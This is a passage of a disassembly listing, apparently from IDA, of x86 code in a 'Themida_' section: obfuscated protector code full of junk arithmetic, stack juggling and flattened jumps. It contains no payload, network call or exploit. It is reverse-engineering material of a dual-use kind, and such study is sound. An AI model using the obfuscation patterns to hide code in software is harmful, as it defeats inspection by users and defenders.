push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
jmp loc_564EF5
; ---------------------------------------------------------------------------
loc_568782: ; CODE XREF: Themida_:0055E5FDj
push edx
mov edx, 4
sub ecx, edx
jmp loc_561C13
; ---------------------------------------------------------------------------
loc_56878F: ; CODE XREF: Themida_:00562634j
mov edi, 4
sub ebx, edi
jmp loc_5643F2
; ---------------------------------------------------------------------------
loc_56879B: ; CODE XREF: Themida_:0056AD59j
add eax, 6A25578Ah
sub eax, 35240C34h
mov ebx, [esp]
add esp, 4
sub eax, ebx
push esi
push eax
mov eax, 72ED1B95h
or eax, 320A7590h
add eax, 0FFFFFFFFh
or eax, 762B1852h
dec eax
not eax
add eax, 0B1C1E6DDh
mov esi, eax
pop eax
sub esi, 52235E64h
or esi, 2C248FAh
shl esi, 2
add esi, 6BF138D3h
sub esp, 4
mov [esp], ebp
push edi
mov edi, 8E95ACDh
mov ebp, 620D933Dh
sub ebp, edi
pop edi
add eax, ebp
jmp loc_55FDFC
; ---------------------------------------------------------------------------
loc_5687FE: ; CODE XREF: Themida_:0055D5D9j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor eax, ecx
pop ecx
push ebp
push eax
mov eax, 6613B46h
mov ebp, eax
pop eax
push ecx
jmp loc_55E602
; ---------------------------------------------------------------------------
loc_568821: ; CODE XREF: Themida_:0056E058j
push esp
pop eax
push ebp
push 4
mov ebp, [esp]
add esp, 4
jmp loc_56A30F
; ---------------------------------------------------------------------------
loc_568834: ; CODE XREF: Themida_:00567FDFj
add dl, 8Ah
and bl, dl
pop edx
push edx
mov dh, 0E3h
xor bl, dh
jmp loc_562CB5
; ---------------------------------------------------------------------------
loc_568844: ; CODE XREF: Themida_:0056313Fj
add ebx, 1091AB4h
push ecx
mov ecx, 57453CDBh
sub ebx, ecx
jmp loc_56FD86
; ---------------------------------------------------------------------------
loc_568857: ; CODE XREF: Themida_:00562F91j
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_564A6A
; ---------------------------------------------------------------------------
loc_56886A: ; CODE XREF: Themida_:0056FA9Dj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56886F: ; CODE XREF: Themida_:00567006j
mov edx, 66796EAFh
xor edx, 52E04755h
add edx, 13D9412Fh
add edx, 1CDF9C1Eh
add eax, edx
pop edx
add eax, 44E4748Ah
sub eax, ebx
push ebp
mov ebp, 44E4748Ah
sub eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push 2854h
jmp loc_56E0BA
; ---------------------------------------------------------------------------
loc_5688A9: ; CODE XREF: Themida_:0055F1CDj
add edx, 72560454h
add edx, ebp
sub edx, 72560454h
mov ebp, [esp]
jmp loc_56AF7C
; ---------------------------------------------------------------------------
loc_5688BF: ; CODE XREF: Themida_:005648D2j
pop esi
shr edx, 7
and edx, 88B5EACh
sub esp, 4
mov [esp], ebx
mov ebx, 7DBF5404h
jmp loc_563CA5
; ---------------------------------------------------------------------------
loc_5688DC: ; CODE XREF: Themida_:0056ECA7j
shr ebp, 1
inc ebp
jmp loc_565720
; ---------------------------------------------------------------------------
loc_5688E4: ; CODE XREF: Themida_:00570631j
pop eax
jmp loc_560285
; ---------------------------------------------------------------------------
loc_5688EA: ; CODE XREF: Themida_:0056732Ej
add esi, 4
add esi, 4
jmp loc_563203
; ---------------------------------------------------------------------------
loc_5688FB: ; CODE XREF: Themida_:0056E539j
or dl, cl
mov cx, [esp]
push eax
mov eax, esp
jmp loc_5661B2
; ---------------------------------------------------------------------------
loc_568909: ; CODE XREF: Themida_:0056B723j
pop edi
sub eax, 407056DBh
sub eax, ebx
add eax, 407056DBh
jmp loc_5674A8
; ---------------------------------------------------------------------------
loc_56891B: ; CODE XREF: Themida_:0056874Cj
add [esp+2], si
jmp loc_56DC71
; ---------------------------------------------------------------------------
loc_568925: ; CODE XREF: Themida_:005700C5j
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 5CAC1CAFh
dec ecx
sub ecx, 2CB56EC7h
neg ecx
sub ecx, 0D0095217h
sub ebp, 6D8A09A0h
add ebp, ecx
push edx
jmp loc_56606B
; ---------------------------------------------------------------------------
loc_568951: ; CODE XREF: Themida_:00561EA2j
sub esi, 0C9A818DEh
add ecx, esi
push dword ptr [esp]
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ecx
mov ecx, esp
jmp loc_566EB7
; ---------------------------------------------------------------------------
loc_568977: ; CODE XREF: Themida_:00564060j
pop esi
jmp loc_5713E6
; ---------------------------------------------------------------------------
loc_56897D: ; CODE XREF: Themida_:00570DABj
add edx, eax
sub esp, 4
jmp loc_55DD52
; ---------------------------------------------------------------------------
loc_56898A: ; CODE XREF: Themida_:0057297Fj
sub bl, dh
add bl, 0BDh
jmp loc_560CC4
; ---------------------------------------------------------------------------
loc_568994: ; CODE XREF: Themida_:0056981Ej
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_568999: ; CODE XREF: Themida_:0055DF37j
sub ecx, 4
push ecx
jmp loc_56BC4A
; ---------------------------------------------------------------------------
loc_5689A2: ; CODE XREF: Themida_:00569136j
sub esp, 4
jmp loc_56FED3
; ---------------------------------------------------------------------------
loc_5689AD: ; CODE XREF: Themida_:0055F55Cj
mov [esp], ecx
jmp loc_56C15A
; ---------------------------------------------------------------------------
loc_5689B5: ; CODE XREF: Themida_:00569FA9j
add esi, 3DC0AABh
add esi, ebp
sub esi, 3DC0AABh
pop ebp
push eax
push 5A48h
mov [esp], ebp
mov ebp, esp
jmp loc_566E08
; ---------------------------------------------------------------------------
loc_5689D4: ; CODE XREF: Themida_:0056CF4Dj
add ebx, ebp
pop ebp
add eax, ebx
pop ebx
jmp loc_57287F
; ---------------------------------------------------------------------------
loc_5689DF: ; CODE XREF: Themida_:0056BC9Fj
shr esi, 7
shr esi, 8
push eax
jmp loc_569EA0
; ---------------------------------------------------------------------------
loc_5689EB: ; CODE XREF: Themida_:00571A6Aj
add edi, 2
push edi
push dword ptr [esp+4]
jmp loc_56614B
; ---------------------------------------------------------------------------
loc_5689FB: ; CODE XREF: Themida_:00571D50j
push esp
pop esi
sub esp, 4
mov [esp], eax
jmp loc_571510
; ---------------------------------------------------------------------------
loc_568A08: ; CODE XREF: Themida_:0056FEE9j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
push 6CB93B08h
mov edi, [esp]
add esp, 4
jmp loc_56D8A8
; ---------------------------------------------------------------------------
loc_568A2E: ; CODE XREF: Themida_:0055F6B8j
xor [esp], edi
jmp loc_55F820
; ---------------------------------------------------------------------------
loc_568A36: ; CODE XREF: Themida_:0056A11Fj
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_5670B1
; ---------------------------------------------------------------------------
loc_568A47: ; CODE XREF: Themida_:00563A11j
push ebx
push edx
jmp loc_56D382
; ---------------------------------------------------------------------------
loc_568A4E: ; CODE XREF: Themida_:0056DC80j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_568A53: ; CODE XREF: Themida_:00564126j
push ecx
mov ecx, 23993837h
dec ecx
jmp loc_568AC5
; ---------------------------------------------------------------------------
loc_568A5F: ; CODE XREF: Themida_:00560A19j
pop eax
dec esi
jmp loc_55E943
; ---------------------------------------------------------------------------
loc_568A66: ; CODE XREF: Themida_:00568C66j
add ebp, 4
push 4346h
mov [esp], esi
push 12C6h
mov [esp], edx
push 5977597Fh
pop edx
add edx, 0FFFFFFFFh
push ecx
mov ecx, 65596h
shr ecx, 3
jmp loc_560C1A
; ---------------------------------------------------------------------------
loc_568A96: ; CODE XREF: Themida_:005707CDj
mov ebp, [esp]
add esp, 4
add esp, 4
xor edi, 6CF535B0h
not edi
jmp loc_56C311
; ---------------------------------------------------------------------------
loc_568AAF: ; CODE XREF: Themida_:00561A3Bj
push esi
push eax
mov eax, 3BF138DCh
mov esi, 46617CF1h
xor esi, eax
pop eax
not esi
jmp loc_56D6B5
; ---------------------------------------------------------------------------
loc_568AC5: ; CODE XREF: Themida_:00568A5Aj
shr ecx, 6
or ecx, 65067007h
xor ecx, 0CBC3F8Fh
add ecx, 32E931CAh
push ebx
mov ebx, 595C691Ah
push ebp
mov ebp, 21AF1AC6h
and ebx, ebp
jmp loc_55F9EC
; ---------------------------------------------------------------------------
loc_568AED: ; CODE XREF: Themida_:00565656j
sub esp, 2
mov [esp], dx
xor word ptr [esp], 6399h
pop di
xor di, 6399h
mov cx, di
jmp loc_56BB4C
; ---------------------------------------------------------------------------
loc_568B09: ; CODE XREF: Themida_:0056ABD5j
and eax, 3F8C0143h
jmp loc_56A4D5
; ---------------------------------------------------------------------------
loc_568B13: ; CODE XREF: Themida_:005695F7j
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_56EF54
; ---------------------------------------------------------------------------
dd 0E9242489h, 5923h
; ---------------------------------------------------------------------------
loc_568B28: ; CODE XREF: Themida_:0055F1D4j
push ecx
jmp loc_566B66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_568B2E: ; CODE XREF: sub_562A0A+E22Aj
mov ecx, [esp+4+var_4]
jmp loc_56D5A5
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_568B36: ; CODE XREF: Themida_:0056FBEEj
push 66F1h
jmp loc_562F90
; ---------------------------------------------------------------------------
loc_568B40: ; CODE XREF: Themida_:0055EB6Dj
mov ecx, [esp]
push eax
push esp
jmp loc_56E0EA
; ---------------------------------------------------------------------------
loc_568B4A: ; CODE XREF: Themida_:00568C40j
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_567066
; ---------------------------------------------------------------------------
loc_568B5A: ; CODE XREF: Themida_:00570ACAj
add eax, ebp
add eax, 2D4C68AEh
jmp loc_56DDEB
; ---------------------------------------------------------------------------
loc_568B66: ; CODE XREF: Themida_:00566375j
inc esi
jmp loc_561A65
; ---------------------------------------------------------------------------
loc_568B6C: ; CODE XREF: Themida_:0056827Bj
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], esi
push 760Dh
mov [esp], edi
jmp loc_56648C
; ---------------------------------------------------------------------------
loc_568B85: ; CODE XREF: Themida_:0056D34Dj
mov [esp], ecx
push esp
pop ecx
push ebx
mov ebx, 374A6689h
jmp loc_55F8A4
; ---------------------------------------------------------------------------
loc_568B95: ; CODE XREF: Themida_:0055FF28j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56417D
; ---------------------------------------------------------------------------
loc_568BA0: ; CODE XREF: Themida_:0056902Bj
sub al, dl
push edx
mov dl, 0B1h
shl dl, 4
sub esp, 4
mov [esp], ecx
jmp loc_563C41
; ---------------------------------------------------------------------------
loc_568BB6: ; CODE XREF: Themida_:0056E42Bj
add ebx, 4
jmp loc_562C1B
; ---------------------------------------------------------------------------
loc_568BC1: ; CODE XREF: Themida_:00569840j
sub ebx, esi
sub ebx, 2492569Dh
pop esi
shl ebx, 5
sub ebx, 5E667978h
push edi
mov edi, 895FE488h
xor ebx, edi
push dword ptr [esp]
jmp loc_5713BE
; ---------------------------------------------------------------------------
loc_568BE3: ; CODE XREF: Themida_:00562C65j
push ebp
jmp loc_5714C6
; ---------------------------------------------------------------------------
loc_568BE9: ; CODE XREF: Themida_:005729F9j
sub esp, 4
mov [esp], ecx
push 5CEBh
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_56A4DF
; ---------------------------------------------------------------------------
loc_568C07: ; CODE XREF: Themida_:0055D6C7j
mov edx, esp
push ebp
mov ebp, 4
add edx, 28D761C1h
add edx, ebp
jmp loc_571387
; ---------------------------------------------------------------------------
loc_568C1C: ; CODE XREF: Themida_:00562D98j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_564258
; ---------------------------------------------------------------------------
loc_568C2F: ; CODE XREF: Themida_:00568211j
add esp, 4
sub ebp, 56647108h
add ebp, edi
add ebp, 56647108h
jmp loc_568B4A
; ---------------------------------------------------------------------------
loc_568C45: ; CODE XREF: Themida_:00566CE2j
add ebx, 0D6748F0h
jmp loc_56EA3D
; ---------------------------------------------------------------------------
loc_568C50: ; CODE XREF: Themida_:0056FD81j
pop esp
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_568C56: ; CODE XREF: Themida_:0056EF45j
mov esp, [esp]
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_568A66
; ---------------------------------------------------------------------------
loc_568C6B: ; CODE XREF: Themida_:0055F6B0j
add esp, 4
add eax, 4
push esi
jmp loc_56C6D4
; ---------------------------------------------------------------------------
loc_568C7C: ; CODE XREF: Themida_:00568DEAj
mov [esp], eax
mov ah, 0FAh
mov bl, 0FAh
add bl, ah
pop eax
dec bl
xor bl, 0E0h
push ecx
jmp loc_5634F1
; ---------------------------------------------------------------------------
loc_568C91: ; CODE XREF: Themida_:0056EF76j
mov edi, 18CC02C6h
and edi, 7183711h
not edi
dec edi
jmp loc_56A907
; ---------------------------------------------------------------------------
loc_568CA4: ; CODE XREF: Themida_:0055E959j
mov [esp], ebp
mov ebp, 4F7D4933h
and ebp, 485F586Eh
neg ebp
xor ebp, 40E84D4Eh
or ebp, 7347179Dh
add ebp, 0BBE5A764h
sub ecx, ebp
pop ebp
sub esi, ecx
jmp loc_55EF3B
; ---------------------------------------------------------------------------
loc_568CD0: ; CODE XREF: Themida_:0056B8BAj
mov edx, [esp]
push eax
mov eax, esp
jmp loc_55EB8D
; ---------------------------------------------------------------------------
loc_568CDB: ; CODE XREF: Themida_:00566CECj
mov [esp], dx
push 12CCh
jmp loc_564BF1
; ---------------------------------------------------------------------------
loc_568CE9: ; CODE XREF: Themida_:00570400j
mov ecx, [esp]
add esp, 4
jmp loc_56C9F0
; ---------------------------------------------------------------------------
loc_568CF4: ; CODE XREF: Themida_:00570D8Bj
sub ebx, 342260A3h
push esi
push ebp
jmp loc_56AB48
; ---------------------------------------------------------------------------
loc_568D01: ; CODE XREF: Themida_:0056295Fj
inc dh
push bx
mov bh, 0C2h
jmp loc_56CB56
; ---------------------------------------------------------------------------
loc_568D0C: ; CODE XREF: Themida_:00563536j
or ch, 0Bh
sub esp, 4
jmp loc_5655C2
; ---------------------------------------------------------------------------
loc_568D17: ; CODE XREF: Themida_:005680A6j
add ebx, 51A905E0h
push ebp
mov ebp, 7B87278Ch
jmp loc_562ACE
; ---------------------------------------------------------------------------
loc_568D28: ; CODE XREF: Themida_:00571B0Dj
push esi
mov esi, 7A3C4523h
sub esp, 4
jmp loc_566831
; ---------------------------------------------------------------------------
loc_568D39: ; CODE XREF: Themida_:00561138j
sub ah, ch
pop ecx
push ebx
jmp loc_56445B
; ---------------------------------------------------------------------------
loc_568D42: ; CODE XREF: Themida_:0056CBCBj
mov ebp, 6588534Eh
push 6C77h
jmp loc_55FEE5
; ---------------------------------------------------------------------------
loc_568D51: ; CODE XREF: Themida_:0057091Bj
sub esi, edx
pop edx
jmp loc_564C42
; ---------------------------------------------------------------------------
loc_568D59: ; CODE XREF: Themida_:00560A7Aj
mov ebp, esp
push esi
jmp loc_55E084
; ---------------------------------------------------------------------------
loc_568D61: ; CODE XREF: Themida_:00567275j
mov edx, 7DA4753Ch
add ebx, edx
pop edx
push 7C23h
mov [esp], esi
push eax
jmp loc_56B661
; ---------------------------------------------------------------------------
loc_568D77: ; CODE XREF: Themida_:00564C99j
mov edi, 23635D47h
add edx, edi
mov edi, [esp]
jmp loc_56108A
; ---------------------------------------------------------------------------
loc_568D86: ; CODE XREF: Themida_:0055D8E3j
push 213Bh
jmp loc_56B694
; ---------------------------------------------------------------------------
loc_568D90: ; CODE XREF: Themida_:0056C155j
add esp, 4
inc esi
sub esi, 0EEE14552h
add eax, 71C50920h
sub eax, esi
push ebx
mov ebx, 71C50920h
sub eax, ebx
pop ebx
pop esi
push dword ptr [edi+eax*4]
jmp loc_5699E3
; ---------------------------------------------------------------------------
loc_568DB3: ; CODE XREF: Themida_:00563319j
pop esp
mov [esp], esi
jmp loc_565B5B
; ---------------------------------------------------------------------------
loc_568DBC: ; CODE XREF: Themida_:00563685j
xor ebp, [esp]
jmp loc_5706D4
; ---------------------------------------------------------------------------
loc_568DC4: ; CODE XREF: Themida_:005690E0j
push 7FD3h
mov [esp], esp
push edi
jmp loc_567F24
; ---------------------------------------------------------------------------
loc_568DD2: ; CODE XREF: Themida_:0056FD4Fj
add esi, 4
add esi, 4
jmp loc_56C41F
; ---------------------------------------------------------------------------
loc_568DE3: ; CODE XREF: Themida_:0056C26Aj
mov [esp], ecx
push ebx
sub esp, 4
jmp loc_568C7C
; ---------------------------------------------------------------------------
loc_568DEF: ; CODE XREF: Themida_:0056B7BEj
add ecx, 4
jmp loc_55E144
; ---------------------------------------------------------------------------
loc_568DFA: ; CODE XREF: Themida_:00561051j
mov [esp], eax
sub esp, 4
mov [esp], ecx
mov ecx, 535F6EDDh
mov eax, 0D9E4D77Eh
add eax, ecx
pop ecx
jmp loc_570E8D
; ---------------------------------------------------------------------------
loc_568E15: ; CODE XREF: Themida_:005607BBj
pop eax
add esp, 4
xor edx, [esp]
jmp loc_567AC1
; ---------------------------------------------------------------------------
loc_568E21: ; CODE XREF: Themida_:0055DD91j
add ebp, edi
add ebp, 22F41FB7h
jmp loc_564A52
; ---------------------------------------------------------------------------
loc_568E2E: ; CODE XREF: Themida_:00566B21j
push edx
mov edx, esp
push ebx
mov ebx, 1E341B7Dh
shl ebx, 3
push esi
jmp loc_561C7A
; ---------------------------------------------------------------------------
loc_568E40: ; CODE XREF: Themida_:0056CFE7j
add edx, edi
pop edi
shr edx, 7
xor edx, 2DCE66F8h
shr edx, 2
sub edx, 9EE1284Bh
jmp loc_55EDDE
; ---------------------------------------------------------------------------
loc_568E5A: ; CODE XREF: Themida_:0055D89Aj
shl edx, 1
push 7E20h
mov [esp], ebp
sub esp, 4
jmp loc_563497
; ---------------------------------------------------------------------------
loc_568E6C: ; CODE XREF: Themida_:0056A9C6j
push 3C1Ch
jmp loc_571493
; ---------------------------------------------------------------------------
loc_568E76: ; CODE XREF: Themida_:0057242Bj
pop edx
push 2701h
mov [esp], eax
push 680h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
add eax, 4
push 2111h
mov [esp], edi
push ebp
push 5B4964DBh
pop ebp
add ebp, 0A4B69B29h
jmp loc_55EBEF
; ---------------------------------------------------------------------------
loc_568EAC: ; CODE XREF: Themida_:00568741j
xor ebx, 843BEAAAh
sub ecx, ebx
pop ebx
jmp loc_56506D
; ---------------------------------------------------------------------------
loc_568EBA: ; CODE XREF: Themida_:00571656j
mov ebx, 2B7A0EC2h
push edx
mov edx, 635E701Ah
jmp loc_5674B2
; ---------------------------------------------------------------------------
loc_568ECA: ; CODE XREF: Themida_:005634CBj
mov edx, 27A31AC0h
push edx
jmp loc_55EFDB
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebp
push 5FD5h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5633FD
; ---------------------------------------------------------------------------
loc_568F05: ; CODE XREF: Themida_:0056BE93j
shr ecx, 3
jmp loc_55F2F4
; ---------------------------------------------------------------------------
loc_568F0D: ; CODE XREF: Themida_:00571437j
sub ebx, 4
xchg ebx, [esp]
jmp loc_571920
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
push ecx
jmp loc_569992
; ---------------------------------------------------------------------------
loc_568F28: ; CODE XREF: Themida_:0056CD1Fj
shr edi, 5
sub edi, 17F33293h
xor edi, 0ECB99B00h
add eax, edi
pop edi
add eax, 4
xchg eax, [esp]
pop esp
add esp, 4
push dword ptr [esp]
pop esi
push eax
jmp loc_56E203
; ---------------------------------------------------------------------------
loc_568F53: ; CODE XREF: Themida_:0055E8B1j
mov ah, cl
push edx
mov dh, bl
mov cl, dh
pop edx
mov bl, ah
mov ax, [esp]
add esp, 2
xchg al, cl
jmp loc_56A834
; ---------------------------------------------------------------------------
loc_568F6B: ; CODE XREF: Themida_:00569659j
mov ebp, 4981723Dh
shl ebp, 2
xor ebp, 3B3700F6h
push 6C12h
mov [esp], ebp
mov ebp, esp
jmp loc_55F052
; ---------------------------------------------------------------------------
loc_568F88: ; CODE XREF: Themida_:00570337j
add esp, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push esi
jmp loc_56BDCB
; ---------------------------------------------------------------------------
lodsb
push 6AB6h
mov [esp], ebx
mov ebx, esp
jmp loc_571431
; ---------------------------------------------------------------------------
loc_568FB3: ; CODE XREF: Themida_:005629EDj
pop eax
jmp loc_571407
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 889h
mov [esp], eax
push 977h
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebx
mov ebx, 4
add eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_560F6B
; ---------------------------------------------------------------------------
loc_568FED: ; CODE XREF: Themida_:00560C74j
pop esp
push ebx
push eax
push 28FAh
mov [esp], ebx
mov bl, dl
mov al, bl
pop ebx
push 19A6h
mov [esp], edx
sub esp, 4
jmp loc_56A681
; ---------------------------------------------------------------------------
loc_56900D: ; CODE XREF: Themida_:0055D9F2j
pop dword ptr [esp]
xchg eax, esi
not eax
xor esi, eax
xor eax, esi
xor esi, eax
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
push dword ptr [esp]
jmp loc_56AFE1
; ---------------------------------------------------------------------------
loc_56902A: ; CODE XREF: Themida_:0056F6FAj
pop ecx
jmp loc_568BA0
; ---------------------------------------------------------------------------
loc_569030: ; CODE XREF: Themida_:0056F3C9j
push dword ptr [esp]
jmp loc_56A939
; ---------------------------------------------------------------------------
loc_569038: ; CODE XREF: Themida_:00572A0Fj
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 4
jmp loc_55F210
; ---------------------------------------------------------------------------
loc_569057: ; CODE XREF: Themida_:00564D97j
mov [esp], ecx
push edi
mov edi, ebx
push 6335h
mov [esp], edi
jmp loc_56F5CE
; ---------------------------------------------------------------------------
loc_56906A: ; CODE XREF: Themida_:00560D2Fj
push esp
pop esi
jmp loc_572000
; ---------------------------------------------------------------------------
loc_569071: ; CODE XREF: Themida_:005665BCj
add ebx, 0F6013B3Ch
mov esi, ebx
jmp loc_56977C
; ---------------------------------------------------------------------------
loc_56907E: ; CODE XREF: Themida_:005602EDj
push ebx
mov ebx, 0A21156Eh
dec ebx
push 4406h
jmp loc_563B5C
; ---------------------------------------------------------------------------
loc_56908F: ; CODE XREF: Themida_:00571790j
add edx, 40086769h
add edx, 7F330AE8h
xor edx, 3C4D159Fh
add edx, 6FB1D3Eh
add edi, edx
pop edx
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_56374C
; ---------------------------------------------------------------------------
loc_5690B8: ; CODE XREF: Themida_:00571875j
sub esi, 64D17025h
sub esi, edi
add esi, 64D17025h
pop edi
push eax
push edi
mov edi, 0AD6CECh
sub edi, 4B0A618Dh
jmp loc_5603F7
; ---------------------------------------------------------------------------
loc_5690D9: ; CODE XREF: Themida_:005616F3j
pop esi
xchg ebp, [esp]
mov esp, [esp]
jmp loc_568DC4
; ---------------------------------------------------------------------------
loc_5690E5: ; CODE XREF: Themida_:0056F08Bj
pop eax
push 51C7h
jmp loc_5698B6
; ---------------------------------------------------------------------------
loc_5690F0: ; CODE XREF: Themida_:005712F8j
sub ecx, edx
pop edx
sub esp, 4
mov [esp], ebp
jmp loc_55DE2C
; ---------------------------------------------------------------------------
loc_569101: ; CODE XREF: Themida_:0056156Cj
sub al, 27h
sub bl, al
pop ax
sub bl, 0E3h
add bl, al
sub esp, 4
mov [esp], eax
mov ah, 92h
xor ah, 27h
inc ah
neg ah
and ah, 0DAh
not ah
add ah, 2Eh
add bl, ah
mov eax, [esp]
add esp, 4
jmp loc_564F0E
; ---------------------------------------------------------------------------
loc_569133: ; CODE XREF: Themida_:0056CADFj
mov [esp], eax
jmp loc_5689A2
; ---------------------------------------------------------------------------
loc_56913B: ; CODE XREF: Themida_:00561BEBj
add esp, 4
jmp loc_5700FC
; ---------------------------------------------------------------------------
loc_569146: ; CODE XREF: Themida_:00563A70j
mov esi, 4
jmp loc_56A56C
; ---------------------------------------------------------------------------
loc_569150: ; CODE XREF: Themida_:00563BCAj
mov esp, [esp]
sub eax, 74857B8Fh
jmp loc_56A7FF
; ---------------------------------------------------------------------------
loc_56915D: ; CODE XREF: Themida_:00564BD1j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56916F: ; CODE XREF: Themida_:00564CB5j
and ecx, edx
mov edx, [esp]
add esp, 4
shr ecx, 7
push 1296h
mov [esp], ebx
push esi
push 662h
mov [esp], ecx
push 3EE533A1h
pop ecx
shr ecx, 4
push edx
push eax
push 619A654Eh
pop eax
sub eax, 2489584Fh
xor eax, 47A075D3h
sub eax, 451C718h
mov edx, eax
pop eax
add ecx, edx
jmp loc_56F950
; ---------------------------------------------------------------------------
loc_5691B8: ; CODE XREF: Themida_:00567B22j
pop ebp
or ecx, esi
pop esi
push ebp
mov ebp, 39E32731h
jmp loc_563C6F
; ---------------------------------------------------------------------------
loc_5691C7: ; CODE XREF: Themida_:00561B5Cj
add eax, ebp
push edx
push esi
push 75741746h
pop esi
dec esi
jmp loc_572614
; ---------------------------------------------------------------------------
loc_5691D7: ; CODE XREF: Themida_:00566E2Dj
xchg eax, [esp]
pop esp
mov [esp], ebp
jmp loc_55E6AC
; ---------------------------------------------------------------------------
loc_5691E3: ; CODE XREF: Themida_:00567ABCj
sub esp, 4
mov [esp], edi
mov edi, 0DA2464Fh
push ebx
mov ebx, 7301661Eh
sub edi, ebx
pop ebx
xor edi, 279524Bh
jmp loc_5618C0
; ---------------------------------------------------------------------------
loc_569202: ; CODE XREF: Themida_:005724D4j
mov edi, [esp]
jmp loc_56AAD7
; ---------------------------------------------------------------------------
loc_56920A: ; CODE XREF: Themida_:00570EA5j
push ecx
mov ecx, ebp
mov esi, ecx
mov ecx, [esp]
add esp, 4
pop ebp
push 53F3h
mov [esp], edi
jmp loc_56D816
; ---------------------------------------------------------------------------
loc_569226: ; CODE XREF: Themida_:005714F0j
xor dl, 1Fh
dec dl
sub dl, 88h
xchg bl, dl
push ebx
not byte ptr [esp]
pop ebx
push eax
jmp loc_56DB70
; ---------------------------------------------------------------------------
loc_56923B: ; CODE XREF: Themida_:0056A9FCj
pop esi
sub bx, 281Ah
add dx, bx
pop ebx
jmp loc_56E7E1
; ---------------------------------------------------------------------------
loc_56924A: ; CODE XREF: Themida_:00562FA5j
add edx, esi
add edx, 117000D0h
pop esi
xchg edx, [esp]
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_569263: ; CODE XREF: Themida_:005712D1j
not ebx
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
jmp loc_566062
; ---------------------------------------------------------------------------
loc_569273: ; CODE XREF: Themida_:005686B2j
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
jmp loc_567500
; ---------------------------------------------------------------------------
loc_569281: ; CODE XREF: Themida_:0056CE75j
pop ebx
sub ebx, ecx
jmp loc_568535
; ---------------------------------------------------------------------------
loc_569289: ; CODE XREF: Themida_:0055DA5Fj
xor ch, 5Bh
sub al, 1Eh
push ebx
push edx
jmp loc_570A0B
; ---------------------------------------------------------------------------
loc_569295: ; CODE XREF: Themida_:00572238j
pop edi
push ebx
mov ebx, 59D91C4Fh
add eax, ebx
pop ebx
shr eax, 3
sub eax, 0FCEAF276h
sub ebp, eax
jmp loc_561775
; ---------------------------------------------------------------------------
loc_5692AE: ; CODE XREF: Themida_:0056E613j
sub ebx, 0ED54CD18h
add ebp, ebx
pop ebx
pop ecx
or eax, ebp
pop ebp
not eax
sub eax, 0F22E01FCh
add ebx, 72E34957h
jmp loc_56EB24
; ---------------------------------------------------------------------------
loc_5692CD: ; CODE XREF: Themida_:00566365j
pop ebx
pop edi
sub edx, 1B2E774Fh
sub edx, ebx
add edx, 1B2E774Fh
push dword ptr [esp]
pop ebx
add esp, 4
add ebp, edx
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
add edx, eax
jmp loc_560EAB
; ---------------------------------------------------------------------------
loc_5692FF: ; CODE XREF: Themida_:0056D0D7j
mov ebx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push ecx
mov ecx, 450310ABh
xor ecx, 450310AFh
add ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_56C8D7
; ---------------------------------------------------------------------------
loc_569326: ; CODE XREF: Themida_:0056B49Dj
add ebp, 3E486F79h
sub ebp, 9EBE2571h
sub esp, 4
mov [esp], ecx
mov ecx, 1A551945h
jmp loc_5670A6
; ---------------------------------------------------------------------------
loc_569345: ; CODE XREF: Themida_:00562364j
mov eax, [esp]
push 52C1h
mov [esp], edx
mov edx, esp
jmp loc_56E76A
; ---------------------------------------------------------------------------
loc_569357: ; CODE XREF: Themida_:0055EEE2j
xor eax, 71813B2Eh
sub esp, 4
mov [esp], ecx
jmp loc_55D329
; ---------------------------------------------------------------------------
loc_56936A: ; CODE XREF: Themida_:0056E95Aj
sub esi, 0D2BDA977h
mov eax, esi
jmp loc_565043
; ---------------------------------------------------------------------------
loc_569377: ; CODE XREF: Themida_:005641DFj
